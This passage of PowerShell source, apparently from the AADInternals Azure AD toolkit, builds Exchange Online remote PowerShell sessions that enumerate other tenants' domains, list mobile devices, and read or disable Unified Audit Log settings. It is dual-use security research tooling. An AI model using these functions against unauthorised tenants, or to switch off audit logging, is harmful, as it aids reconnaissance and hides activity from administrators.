<rsp:Shell xmlns:rsp="http://schemas.microsoft.com/wbem/wsman/1/windows/shell" Name="WinRM$(Get-Random -Maximum 1000)" ShellId="$((New-Guid).ToString().ToUpper())">
<rsp:InputStreams>stdin pr</rsp:InputStreams>
<rsp:OutputStreams>stdout</rsp:OutputStreams>
<creationXml xmlns="http://schemas.microsoft.com/powershell">AAAAAAAAAAcAAAAAAAAAAAMAAALwAgAAAAIAAQAGWlblyniqQabvSrnLG9XKAAAAAAAAAAAAAAAAAAAAAO+7vzxPYmogUmVmSWQ9IjAiPjxNUz48VmVyc2lvbiBOPSJwcm90b2NvbHZlcnNpb24iPjIuMzwvVmVyc2lvbj48VmVyc2lvbiBOPSJQU1ZlcnNpb24iPjIuMDwvVmVyc2lvbj48VmVyc2lvbiBOPSJTZXJpYWxpemF0aW9uVmVyc2lvbiI+MS4xLjAuMTwvVmVyc2lvbj48QkEgTj0iVGltZVpvbmUiPkFBRUFBQUQvLy8vL0FRQUFBQUFBQUFBRUFRQUFBQnhUZVhOMFpXMHVRM1Z5Y21WdWRGTjVjM1JsYlZScGJXVmFiMjVsQkFBQUFCZHRYME5oWTJobFpFUmhlV3hwWjJoMFEyaGhibWRsY3cxdFgzUnBZMnR6VDJabWMyVjBEbTFmYzNSaGJtUmhjbVJPWVcxbERtMWZaR0Y1YkdsbmFIUk9ZVzFsQXdBQkFSeFRlWE4wWlcwdVEyOXNiR1ZqZEdsdmJuTXVTR0Z6YUhSaFlteGxDUWtDQUFBQUFOQ0l3eEFBQUFBS0NnUUNBQUFBSEZONWMzUmxiUzVEYjJ4c1pXTjBhVzl1Y3k1SVlYTm9kR0ZpYkdVSEFBQUFDa3h2WVdSR1lXTjBiM0lIVm1WeWMybHZiZ2hEYjIxd1lYSmxjaEJJWVhOb1EyOWtaVkJ5YjNacFpHVnlDRWhoYzJoVGFYcGxCRXRsZVhNR1ZtRnNkV1Z6QUFBREF3QUZCUXNJSEZONWMzUmxiUzVEYjJ4c1pXTjBhVzl1Y3k1SlEyOXRjR0Z5WlhJa1UzbHpkR1Z0TGtOdmJHeGxZM1JwYjI1ekxrbElZWE5vUTI5a1pWQnliM1pwWkdWeUNPeFJPRDhBQUFBQUNnb0RBQUFBQ1FNQUFBQUpCQUFBQUJBREFBQUFBQUFBQUJBRUFBQUFBQUFBQUFzPTwvQkE+PC9NUz48L09iaj4AAAAAAAAACAAAAAAAAAAAAwAACtwCAAAABAABAAZaVuXKeKpBpu9Kucsb1coAAAAAAAAAAAAAAAAAAAAA77u/PE9iaiBSZWZJZD0iMCI+PE1TPjxJMzIgTj0iTWluUnVuc3BhY2VzIj4xPC9JMzI+PEkzMiBOPSJNYXhSdW5zcGFjZXMiPjE8L0kzMj48T2JqIE49IlBTVGhyZWFkT3B0aW9ucyIgUmVmSWQ9IjEiPjxUTiBSZWZJZD0iMCI+PFQ+U3lzdGVtLk1hbmFnZW1lbnQuQXV0b21hdGlvbi5SdW5zcGFjZXMuUFNUaHJlYWRPcHRpb25zPC9UPjxUPlN5c3RlbS5FbnVtPC9UPjxUPlN5c3RlbS5WYWx1ZVR5cGU8L1Q+PFQ+U3lzdGVtLk9iamVjdDwvVD48L1ROPjxUb1N0cmluZz5EZWZhdWx0PC9Ub1N0cmluZz48STMyPjA8L0kzMj48L09iaj48T2JqIE49IkFwYXJ0bWVudFN0YXRlIiBSZWZJZD0iMiI+PFROIFJlZklkPSIxIj48VD5TeXN0ZW0uVGhyZWFkaW5nLkFwYXJ0bWVudFN0YXRlPC9UPjxUPlN5c3RlbS5FbnVtPC9UPjxUPlN5c3RlbS5WYWx1ZVR5cGU8L1Q+PFQ+U3lzdGVtLk9iamVjdDwvVD48L1ROPjxUb1N0cmluZz5Vbmtub3duPC9Ub1N0cmluZz48STMyPjI8L0kzMj48L09iaj48T2JqIE49IkFwcGxpY2F0aW9uQXJndW1lbnRzIiBSZWZJZD0iMyI+PFROIFJlZklkPSIyIj48VD5TeXN0ZW0uTWFuYWdlbWVudC5BdXRvbWF0aW9uLlBTUHJpbWl0aXZlRGljdGlvbmFyeTwvVD48VD5TeXN0ZW0uQ29sbGVjdGlvbnMuSGFzaHRhYmxlPC9UPjxUPlN5c3RlbS5PYmplY3Q8L1Q+PC9UTj48RENUPjxFbj48UyBOPSJLZXkiPlBTVmVyc2lvblRhYmxlPC9TPjxPYmogTj0iVmFsdWUiIFJlZklkPSI0Ij48VE5SZWYgUmVmSWQ9IjIiIC8+PERDVD48RW4+PFMgTj0iS2V5Ij5QU1ZlcnNpb248L1M+PFZlcnNpb24gTj0iVmFsdWUiPjUuMS4xNzEzNC41OTA8L1ZlcnNpb24+PC9Fbj48RW4+PFMgTj0iS2V5Ij5QU0VkaXRpb248L1M+PFMgTj0iVmFsdWUiPkRlc2t0b3A8L1M+PC9Fbj48RW4+PFMgTj0iS2V5Ij5QU0NvbXBhdGlibGVWZXJzaW9uczwvUz48T2JqIE49IlZhbHVlIiBSZWZJZD0iNSI+PFROIFJlZklkPSIzIj48VD5TeXN0ZW0uVmVyc2lvbltdPC9UPjxUPlN5c3RlbS5BcnJheTwvVD48VD5TeXN0ZW0uT2JqZWN0PC9UPjwvVE4+PExTVD48VmVyc2lvbj4xLjA8L1ZlcnNpb24+PFZlcnNpb24+Mi4wPC9WZXJzaW9uPjxWZXJzaW9uPjMuMDwvVmVyc2lvbj48VmVyc2lvbj40LjA8L1ZlcnNpb24+PFZlcnNpb24+NS4wPC9WZXJzaW9uPjxWZXJzaW9uPjUuMS4xNzEzNC41OTA8L1ZlcnNpb24+PC9MU1Q+PC9PYmo+PC9Fbj48RW4+PFMgTj0iS2V5Ij5DTFJWZXJzaW9uPC9TPjxWZXJzaW9uIE49IlZhbHVlIj40LjAuMzAzMTkuNDIwMDA8L1ZlcnNpb24+PC9Fbj48RW4+PFMgTj0iS2V5Ij5CdWlsZFZlcnNpb248L1M+PFZlcnNpb24gTj0iVmFsdWUiPjEwLjAuMTcxMzQuNTkwPC9WZXJzaW9uPjwvRW4+PEVuPjxTIE49IktleSI+V1NNYW5TdGFja1ZlcnNpb248L1M+PFZlcnNpb24gTj0iVmFsdWUiPjMuMDwvVmVyc2lvbj48L0VuPjxFbj48UyBOPSJLZXkiPlBTUmVtb3RpbmdQcm90b2NvbFZlcnNpb248L1M+PFZlcnNpb24gTj0iVmFsdWUiPjIuMzwvVmVyc2lvbj48L0VuPjxFbj48UyBOPSJLZXkiPlNlcmlhbGl6YXRpb25WZXJzaW9uPC9TPjxWZXJzaW9uIE49IlZhbHVlIj4xLjEuMC4xPC9WZXJzaW9uPjwvRW4+PC9EQ1Q+PC9PYmo+PC9Fbj48L0RDVD48L09iaj48T2JqIE49Ikhvc3RJbmZvIiBSZWZJZD0iNiI+PE1TPjxPYmogTj0iX2hvc3REZWZhdWx0RGF0YSIgUmVmSWQ9IjciPjxNUz48T2JqIE49ImRhdGEiIFJlZklkPSI4Ij48VE4gUmVmSWQ9IjQiPjxUPlN5c3RlbS5Db2xsZWN0aW9ucy5IYXNodGFibGU8L1Q+PFQ+U3lzdGVtLk9iamVjdDwvVD48L1ROPjxEQ1Q+PEVuPjxJMzIgTj0iS2V5Ij45PC9JMzI+PE9iaiBOPSJWYWx1ZSIgUmVmSWQ9IjkiPjxNUz48UyBOPSJUIj5TeXN0ZW0uU3RyaW5nPC9TPjxTIE49IlYiPldpbmRvd3MgUG93ZXJTaGVsbCBJU0U8L1M+PC9NUz48L09iaj48L0VuPjxFbj48STMyIE49IktleSI+NTwvSTMyPjxPYmogTj0iVmFsdWUiIFJlZklkPSIxMCI+PE1TPjxTIE49IlQiPlN5c3RlbS5NYW5hZ2VtZW50LkF1dG9tYXRpb24uSG9zdC5TaXplPC9TPjxPYmogTj0iViIgUmVmSWQ9IjExIj48TVM+PEkzMiBOPSJ3aWR0aCI+ODg8L0kzMj48STMyIE49ImhlaWdodCI+MDwvSTMyPjwvTVM+PC9PYmo+PC9NUz48L09iaj48L0VuPjxFbj48STMyIE49IktleSI+MjwvSTMyPjxPYmogTj0iVmFsdWUiIFJlZklkPSIxMiI+PE1TPjxTIE49IlQiPlN5c3RlbS5NYW5hZ2VtZW50LkF1dG9tYXRpb24uSG9zdC5Db29yZGluYXRlczwvUz48T2JqIE49IlYiIFJlZklkPSIxMyI+PE1TPjxJMzIgTj0ieCI+MDwvSTMyPjxJMzIgTj0ieSI+MDwvSTMyPjwvTVM+PC9PYmo+PC9NUz48L09iaj48L0VuPjxFbj48STMyIE49IktleSI+MTwvSTMyPjxPYmogTj0iVmFsdWUiIFJlZklkPSIxNCI+PE1TPjxTIE49IlQiPlN5c3RlbS5Db25zb2xlQ29sb3I8L1M+PEkzMiBOPSJWIj4tMTwvSTMyPjwvTVM+PC9PYmo+PC9Fbj48RW4+PEkzMiBOPSJLZXkiPjA8L0kzMj48T2JqIE49IlZhbHVlIiBSZWZJZD0iMTUiPjxNUz48UyBOPSJUIj5TeXN0ZW0uQ29uc29sZUNvbG9yPC9TPjxJMzIgTj0iViI+LTE8L0kzMj48L01TPjwvT2JqPjwvRW4+PC9EQ1Q+PC9PYmo+PC9NUz48L09iaj48QiBOPSJfaXNIb3N0TnVsbCI+ZmFsc2U8L0I+PEIgTj0iX2lzSG9zdFVJTnVsbCI+ZmFsc2U8L0I+PEIgTj0iX2lzSG9zdFJhd1VJTnVsbCI+ZmFsc2U8L0I+PEIgTj0iX3VzZVJ1bnNwYWNlSG9zdCI+ZmFsc2U8L0I+PC9NUz48L09iaj48L01TPjwvT2JqPg==</creationXml>
</rsp:Shell>
"@
Write-Verbose "Session Id: $SessionId"
$Envelope = Create-PSRPEnvelope -SessionId $SessionId -Body $Body -Action Create -Option @("protocolversion","2.3")
# Create the Shell
try
{
$shell_response = Call-PSRP -Envelope $Envelope -Credentials $Credentials -Oauth $Oauth
}
catch
{
# Probably wrong credentials or access token
Write-error $_.Exception.Message
return
}
[xml]$response = $shell_response
# Save the shell id for the later use
$Shell_Id = $response.Envelope.Body.Shell.ShellId
Write-Verbose "ShellId: $Shell_Id"
# Get the output to read session capabilities etc.
$response = Receive-PSRP -Credentials $Credentials -SessionId $SessionId -Shell_Id $Shell_Id -Oauth $Oauth
foreach($message in $response.Envelope.Body.ReceiveResponse.Stream)
{
$parsed_message = Parse-PSRPMessage -Base64Value $message.'#text'
}
# Read the rest of the output
while($parsed_message.'Message type' -ne "Runspool state")
{
try
{
$response = Receive-PSRP -Credentials $Credentials -SessionId $SessionId -Shell_Id $Shell_Id -Oauth $Oauth
$message = $response.Envelope.Body.ReceiveResponse.Stream.'#text'
$parsed_message = Parse-PSRPMessage -Base64Value $message
}
catch
{
break
}
}
return $Shell_Id
}
}
# Gets other domains of the given tenant
# Apr 24th 2019
function Get-TenantDomains2
{
<#
.SYNOPSIS
Gets other domains from the tenant of the given domain
.DESCRIPTION
Uses Exchange Online "feature" that allows Get-FederationInformation cmdlet to retrive other
domains from the tenant of the given domain. The tenant used to retrieve information can
be any tenant having Exchange Online, including trial tenants.
The given user MUST have GlobalAdmin / CompanyAdministrator role in the tenant running the function,
but no rights to the target tenant is needed.
Due to Exchange Online, this function is extremely slow, can take 10 seconds or more to complete.
The given domain SHOULD be Managed, federated domains are not always found for some reason.
If nothing is found, try to use <domain>.onmicrosoft.com
.Example
Get-AADIntTenantDomains -Credentials $Cred -Domain company.com
company.com
company.fi
company.co.uk
company.onmicrosoft.com
company.mail.onmicrosoft.com
.Example
$at = Get-AADIntAccessTokenForEXO
PS C:\>Get-AADIntTenantDomains -AccessToken $at -Domain company.com
company.com
company.fi
company.co.uk
company.onmicrosoft.com
company.mail.onmicrosoft.com
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[System.Management.Automation.PSCredential]$Credentials,
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[String]$Domain
)
Process
{
# First, check if the domain is registered to Azure AD
$tenantId = Get-TenantID -Domain $Domain
if([string]::IsNullOrEmpty($tenantId))
{
Write-Error "Domain $domain is not registered to any Azure AD tenant"
return
}
# A fixed runspacel pool ID, used in PSRP messages
$runspacePoolId = [guid]"e5565a06-78ca-41aa-a6ef-4ab9cb1bd5ca"
# Counter for Object IDs
$ObjectId=10
$Oauth=$false
# If Credentials is null, create the credentials object from AccessToken manually
if($Credentials -eq $null)
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://outlook.office365.com" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
$upn = (Read-Accesstoken $AccessToken).upn
$password = ConvertTo-SecureString -String "Bearer $AccessToken" -AsPlainText -Force
$Credentials = [System.Management.Automation.PSCredential]::new($upn,$password)
$Oauth=$True
}
# Create a shell
$SessionId = (New-Guid).ToString().ToUpper()
$Shell_Id = Create-PSRPShell -Credentials $Credentials -SessionId $SessionId -Oauth $Oauth
if([string]::IsNullOrEmpty($Shell_Id))
{
# Something went wrong, exit
return
}
# Create an arguments message (uses the fixed runspace pool ID)
$arguments = @"
<Obj RefId="0"><MS><Obj N="PowerShell" RefId="1"><MS><Obj N="Cmds" RefId="2"><TN RefId="0"><T>System.Collections.Generic.List``1[[System.Management.Automation.PSObject, System.Management.Automation, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]]</T><T>System.Object</T></TN><LST><Obj RefId="3"><MS><S N="Cmd">Get-FederationInformation</S><B N="IsScript">false</B><Nil N="UseLocalScope" /><Obj N="MergeMyResult" RefId="4"><TN RefId="1"><T>System.Management.Automation.Runspaces.PipelineResultTypes</T><T>System.Enum</T><T>System.ValueType</T><T>System.Object</T></TN><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeToResult" RefId="5"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergePreviousResults" RefId="6"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeError" RefId="7"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeWarning" RefId="8"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeVerbose" RefId="9"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeDebug" RefId="10"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeInformation" RefId="11"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="Args" RefId="12"><TNRef RefId="0" /><LST><Obj RefId="13"><MS><S N="N">-DomainName:</S><S N="V">$Domain</S></MS></Obj><Obj RefId="14"><MS><S N="N">-BypassAdditionalDomainValidation:</S><Obj N="V" RefId="15"><TN RefId="2"><T>System.Management.Automation.SwitchParameter</T><T>System.ValueType</T><T>System.Object</T></TN><ToString>True</ToString><Props><B N="IsPresent">true</B></Props></Obj></MS></Obj></LST></Obj></MS></Obj></LST></Obj><B N="IsNested">false</B><Nil N="History" /><B N="RedirectShellErrorOutputPipe">true</B></MS></Obj><B N="NoInput">true</B><Obj N="ApartmentState" RefId="16"><TN RefId="3"><T>System.Threading.ApartmentState</T><T>System.Enum</T><T>System.ValueType</T><T>System.Object</T></TN><ToString>Unknown</ToString><I32>2</I32></Obj><Obj N="RemoteStreamOptions" RefId="17"><TN RefId="4"><T>System.Management.Automation.RemoteStreamOptions</T><T>System.Enum</T><T>System.ValueType</T><T>System.Object</T></TN><ToString>0</ToString><I32>0</I32></Obj><B N="AddToHistory">true</B><Obj N="HostInfo" RefId="18"><MS><B N="_isHostNull">true</B><B N="_isHostUINull">true</B><B N="_isHostRawUINull">true</B><B N="_useRunspaceHost">true</B></MS></Obj><B N="IsNested">false</B></MS></Obj>
"@
$message = Create-PSRPMessage -Data $arguments -Type Create_pipeline -ObjectId ($ObjectId++) -MSG_RPID $runspacePoolId
$commandId = (New-Guid).ToString().ToUpper()
$Body = @"
<rsp:CommandLine xmlns:rsp="http://schemas.microsoft.com/wbem/wsman/1/windows/shell" CommandId="$commandId">
<rsp:Command>Get-FederationInformation</rsp:Command>
<rsp:Arguments>$message</rsp:Arguments>
</rsp:CommandLine>
"@
# Create the envelope for Get-FederationInfo -cmdlet
$Envelope = Create-PSRPEnvelope -Shell_Id $Shell_Id -SessionId $SessionId -Body $Body -Action Command
$Domains = @()
try
{
# Make the command call
$response = Call-PSRP -Envelope $Envelope -Credentials $Credentials -Oauth $Oauth
$get_output = $true
# Get the output
while($get_output)
{
try
{
[xml]$response = Receive-PSRP -Credentials $Credentials -SessionId $SessionId -Shell_Id $Shell_Id -CommandId $commandId -Oauth $Oauth
# Update the progress so we know that something is going on..
Write-Progress -Activity "Retrieving domains from tenant ($tenantId)" -Status $(Get-WaitingMessage) -PercentComplete 50
# Loop through streams
foreach($message in $response.Envelope.Body.ReceiveResponse.Stream)
{
$parsed_message = Parse-PSRPMessage -Base64Value $message.'#text'
[xml]$xmlData = $parsed_message.Data
if($parsed_message.'Message type' -eq "Progress record")
{
# Extract the StatusDescription and PercentComlete from the message
$StatusDescription = (Select-Xml -Xml $xmlData -XPath "//*[@N='StatusDescription']").Node.'#text'
[int]$PercentComlete = (Select-Xml -Xml $xmlData -XPath "//*[@N='PercentComplete']").Node.'#text'
}
elseif($parsed_message.'Message type' -eq "Pipeline output")
{
$DomainNames = (Select-Xml -Xml $xmlData -XPath "//*[@N='DomainNames']")
$Domains = $DomainNames.node.lst.S
}
elseif($parsed_message.'Message type' -eq "Pipeline state")
{
$errorRecord = (Select-Xml -Xml $xmlData -XPath "//*[@N='ErrorRecord']").Node.'#text'
if(![string]::IsNullOrEmpty($errorRecord))
{
# Something went wrong, probably not an admin user
Write-Error "Received the following error (probably the user has no admin rights):"
Write-Error "$errorRecord"
}
}
}
# Loop thru the CommandStates
foreach($state in $response.Envelope.Body.ReceiveResponse.CommandState)
{
# Okay, we're done!
$exitCode = $state.ExitCode
if(![string]::IsNullOrEmpty($exitCode))
{
Write-Progress -Activity "Retrieving domains" -Completed
$get_output = $false
}
}
}
catch
{
# Something wen't wrong so exit the loop
break
}
}
}
catch
{
# Do nothing
}
# Finally remove the shell
Remove-PSRPShell -Credentials $Credentials -Shell_Id $Shell_Id -SessionId $SessionId -Oauth $Oauth
# Return domain names
return $Domains | Sort-Object
}
}
# Removes the shell, a.k.a. disconnects from the ps host
# Apr 24th 2019
function Remove-PSRPShell
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[System.Management.Automation.PSCredential]$Credentials,
[Parameter()]
[Bool]$Oauth=$False,
[Parameter(Mandatory=$True)]
[String]$Shell_Id,
[Parameter(Mandatory=$True)]
[String]$SessionId
)
Process
{
$Envelope = Create-PSRPEnvelope -SessionId $SessionId -Body " " -Action Delete -Shell_Id $Shell_Id
$response = Call-PSRP -Envelope $Envelope -Credentials $Credentials -Oauth $Oauth
# Nothing to return..
}
}
# Get Mobile Devices
# May 9th 2019
function Get-MobileDevices
{
<#
.SYNOPSIS
Gets mobile devices for the current user or all devices (if admin)
.DESCRIPTION
Retrieves a list of mobile devices using Remote Exchange Online PowerShell
.Example
Get-AADIntMobileDevices -Credentials $Cred
.Example
$at = Get-AADIntAccessTokenForEXO
PS C:\>Get-AADIntTenantDomains -AccessToken $at
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[System.Management.Automation.PSCredential]$Credentials,
[Parameter(Mandatory=$False)]
[String]$AccessToken
)
Process
{
# A fixed runspacel pool ID, used in PSRP messages
$runspacePoolId = [guid]"e5565a06-78ca-41aa-a6ef-4ab9cb1bd5ca"
# Counter for Object IDs
$ObjectId=10
$Oauth=$false
# If Credentials is null, create the credentials object from AccessToken manually
if($Credentials -eq $null)
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://outlook.office365.com" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
$upn = (Read-Accesstoken $AccessToken).upn
$password = ConvertTo-SecureString -String "Bearer $AccessToken" -AsPlainText -Force
$Credentials = [System.Management.Automation.PSCredential]::new($upn,$password)
$Oauth=$True
}
# Create a shell
$SessionId = (New-Guid).ToString().ToUpper()
$Shell_Id = Create-PSRPShell -Credentials $Credentials -SessionId $SessionId -Oauth $Oauth
if([string]::IsNullOrEmpty($Shell_Id))
{
# Something went wrong, exit
return
}
# Create an arguments message
$arguments = @"
<Obj RefId="0"><MS><Obj N="PowerShell" RefId="1"><MS><Obj N="Cmds" RefId="2"><TN RefId="0"><T>System.Collections.Generic.List`1[[System.Management.Automation.PSObject, System.Management.Automation, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]]</T><T>System.Object</T></TN><LST><Obj RefId="3"><MS><S N="Cmd">Get-MobileDevice</S><B N="IsScript">false</B><Nil N="UseLocalScope" /><Obj N="MergeMyResult" RefId="4"><TN RefId="1"><T>System.Management.Automation.Runspaces.PipelineResultTypes</T><T>System.Enum</T><T>System.ValueType</T><T>System.Object</T></TN><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeToResult" RefId="5"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergePreviousResults" RefId="6"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeError" RefId="7"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeWarning" RefId="8"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeVerbose" RefId="9"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeDebug" RefId="10"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeInformation" RefId="11"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="Args" RefId="12"><TNRef RefId="0" /><LST /></Obj></MS></Obj></LST></Obj><B N="IsNested">false</B><Nil N="History"/><B N="RedirectShellErrorOutputPipe">true</B></MS></Obj><B N="NoInput">true</B><Obj N="ApartmentState" RefId="13"><TN RefId="2"><T>System.Threading.ApartmentState</T><T>System.Enum</T><T>System.ValueType</T><T>System.Object</T></TN><ToString>Unknown</ToString><I32>2</I32></Obj><Obj N="RemoteStreamOptions" RefId="14"><TN RefId="3"><T>System.Management.Automation.RemoteStreamOptions</T><T>System.Enum</T><T>System.ValueType</T><T>System.Object</T></TN><ToString>0</ToString><I32>0</I32></Obj><B N="AddToHistory">true</B><Obj N="HostInfo" RefId="15"><MS><B N="_isHostNull">true</B><B N="_isHostUINull">true</B><B N="_isHostRawUINull">true</B><B N="_useRunspaceHost">true</B></MS></Obj><B N="IsNested">false</B></MS></Obj>
"@
$message = Create-PSRPMessage -Data $arguments -Type Create_pipeline -ObjectId ($ObjectId++) -MSG_RPID $runspacePoolId
$commandId = (New-Guid).ToString().ToUpper()
$Body = @"
<rsp:CommandLine xmlns:rsp="http://schemas.microsoft.com/wbem/wsman/1/windows/shell" CommandId="$commandId">
<rsp:Command>Get-MobileDevice</rsp:Command>
<rsp:Arguments>$message</rsp:Arguments>
</rsp:CommandLine>
"@
# Create the envelope for Get-MovileDevices -cmdlet
$Envelope = Create-PSRPEnvelope -Shell_Id $Shell_Id -SessionId $SessionId -Body $Body -Action Command
$mobileDevices = Receive-PSRPObjects -Credentials $Credentials -SessionId $SessionId -Shell_Id $Shell_Id -CommandId $commandId -Oauth $Oauth -Envelope $Envelope
# Finally remove the shell
Remove-PSRPShell -Credentials $Credentials -Shell_Id $Shell_Id -SessionId $SessionId -Oauth $Oauth
return $MobileDevices
}
}
# Get Unified audit log status
# Jan 21st 2020
function Get-UnifiedAuditLogSettings
{
<#
.SYNOPSIS
Gets Unified Audit Log settings
.DESCRIPTION
Gets Unified Audit Log settings with Get-AdminAuditLogConfig using Remote Exchange Online PowerShell
.Example
Get-AADIntUnifiedAuditLogSettings -Credentials $Cred
UnifiedAuditLogIngestionEnabled UnifiedAuditLogFirstOptInDate
------------------------------- -----------------------------
true 2021-01-22T09:59:51.0870075Z
.Example
Get-AADIntAccessTokenForEXO -SaveToCache
PS C:\>Get-AADIntUnifiedAuditLogSettings | Select Unified*
UnifiedAuditLogIngestionEnabled UnifiedAuditLogFirstOptInDate
------------------------------- -----------------------------
true 2021-01-22T09:59:51.0870075Z
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[System.Management.Automation.PSCredential]$Credentials,
[Parameter(Mandatory=$False)]
[String]$AccessToken
)
Process
{
# A fixed runspacel pool ID, used in PSRP messages
$runspacePoolId = [guid]"e5565a06-78ca-41aa-a6ef-4ab9cb1bd5ca"
# Counter for Object IDs
$ObjectId=10
$Oauth=$false
# If Credentials is null, create the credentials object from AccessToken manually
if($Credentials -eq $null)
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://outlook.office365.com" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
$upn = (Read-Accesstoken $AccessToken).upn
$password = ConvertTo-SecureString -String "Bearer $AccessToken" -AsPlainText -Force
$Credentials = [System.Management.Automation.PSCredential]::new($upn,$password)
$Oauth=$True
}
# Create a shell
$SessionId = (New-Guid).ToString().ToUpper()
$Shell_Id = Create-PSRPShell -Credentials $Credentials -SessionId $SessionId -Oauth $Oauth
if([string]::IsNullOrEmpty($Shell_Id))
{
# Something went wrong, exit
return
}
# Create an arguments message
$arguments = '<Obj RefId="0"><MS><Obj N="PowerShell" RefId="1"><MS><Obj N="Cmds" RefId="2"><TN RefId="0"><T>System.Collections.Generic.List`1[[System.Management.Automation.PSObject, System.Management.Automation, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]]</T><T>System.Object</T></TN><LST><Obj RefId="3"><MS><S N="Cmd">Get-AdminAuditLogConfig</S><B N="IsScript">false</B><Nil N="UseLocalScope" /><Obj N="MergeMyResult" RefId="4"><TN RefId="1"><T>System.Management.Automation.Runspaces.PipelineResultTypes</T><T>System.Enum</T><T>System.ValueType</T><T>System.Object</T></TN><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeToResult" RefId="5"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergePreviousResults" RefId="6"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeError" RefId="7"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeWarning" RefId="8"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeVerbose" RefId="9"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeDebug" RefId="10"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeInformation" RefId="11"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="Args" RefId="12"><TNRef RefId="0" /><LST /></Obj></MS></Obj></LST></Obj><B N="IsNested">false</B><Nil N="History" /><B N="RedirectShellErrorOutputPipe">true</B></MS></Obj><B N="NoInput">true</B><Obj N="ApartmentState" RefId="13"><TN RefId="2"><T>System.Threading.ApartmentState</T><T>System.Enum</T><T>System.ValueType</T><T>System.Object</T></TN><ToString>Unknown</ToString><I32>2</I32></Obj><Obj N="RemoteStreamOptions" RefId="14"><TN RefId="3"><T>System.Management.Automation.RemoteStreamOptions</T><T>System.Enum</T><T>System.ValueType</T><T>System.Object</T></TN><ToString>0</ToString><I32>0</I32></Obj><B N="AddToHistory">true</B><Obj N="HostInfo" RefId="15"><MS><B N="_isHostNull">true</B><B N="_isHostUINull">true</B><B N="_isHostRawUINull">true</B><B N="_useRunspaceHost">true</B></MS></Obj><B N="IsNested">false</B></MS></Obj>'
$message = Create-PSRPMessage -Data $arguments -Type Create_pipeline -ObjectId ($ObjectId++) -MSG_RPID $runspacePoolId
$commandId = (New-Guid).ToString().ToUpper()
$Body = @"
<rsp:CommandLine xmlns:rsp="http://schemas.microsoft.com/wbem/wsman/1/windows/shell" CommandId="$commandId">
<rsp:Command>Get-AdminAuditLogConfig</rsp:Command>
<rsp:Arguments>$message</rsp:Arguments>
</rsp:CommandLine>
"@
# Create the envelope for Get-AdminAuditLogConfig -cmdlet
$Envelope = Create-PSRPEnvelope -Shell_Id $Shell_Id -SessionId $SessionId -Body $Body -Action Command
$settings = Receive-PSRPObjects -Credentials $Credentials -SessionId $SessionId -Shell_Id $Shell_Id -CommandId $commandId -Oauth $Oauth -Envelope $Envelope
# Finally remove the shell
Remove-PSRPShell -Credentials $Credentials -Shell_Id $Shell_Id -SessionId $SessionId -Oauth $Oauth
return $settings
}
}
# Enable or disable Unified Audit Log
# Jan 22nd 2020
function Set-UnifiedAuditLogSettings
{
<#
.SYNOPSIS
Enables or disables Unified Audit log
.DESCRIPTION
Enables or disables Unified Audit log Set-AdminAuditLogConfig using Remote Exchange Online PowerShell.
It will take hours for the changes to take effect.
.Example
Get-AADIntUnifiedAuditLogSettings -Credentials $Cred
.Example
Get-AADIntAccessTokenForEXO -SaveToCache
PS C:\>Get-AADIntUnifiedAuditLogSettings | Select Unified*
UnifiedAuditLogIngestionEnabled UnifiedAuditLogFirstOptInDate
------------------------------- -----------------------------
true 2021-01-22T09:59:51.0870075Z
PS C:\>Set-AADIntUnifiedAuditLogSettings -Enabled false
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[System.Management.Automation.PSCredential]$Credentials,
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
[Bool]$Enable
)
Process
{
# A fixed runspacel pool ID, used in PSRP messages
$runspacePoolId = [guid]"e5565a06-78ca-41aa-a6ef-4ab9cb1bd5ca"
# Counter for Object IDs
$ObjectId=10
$Oauth=$false
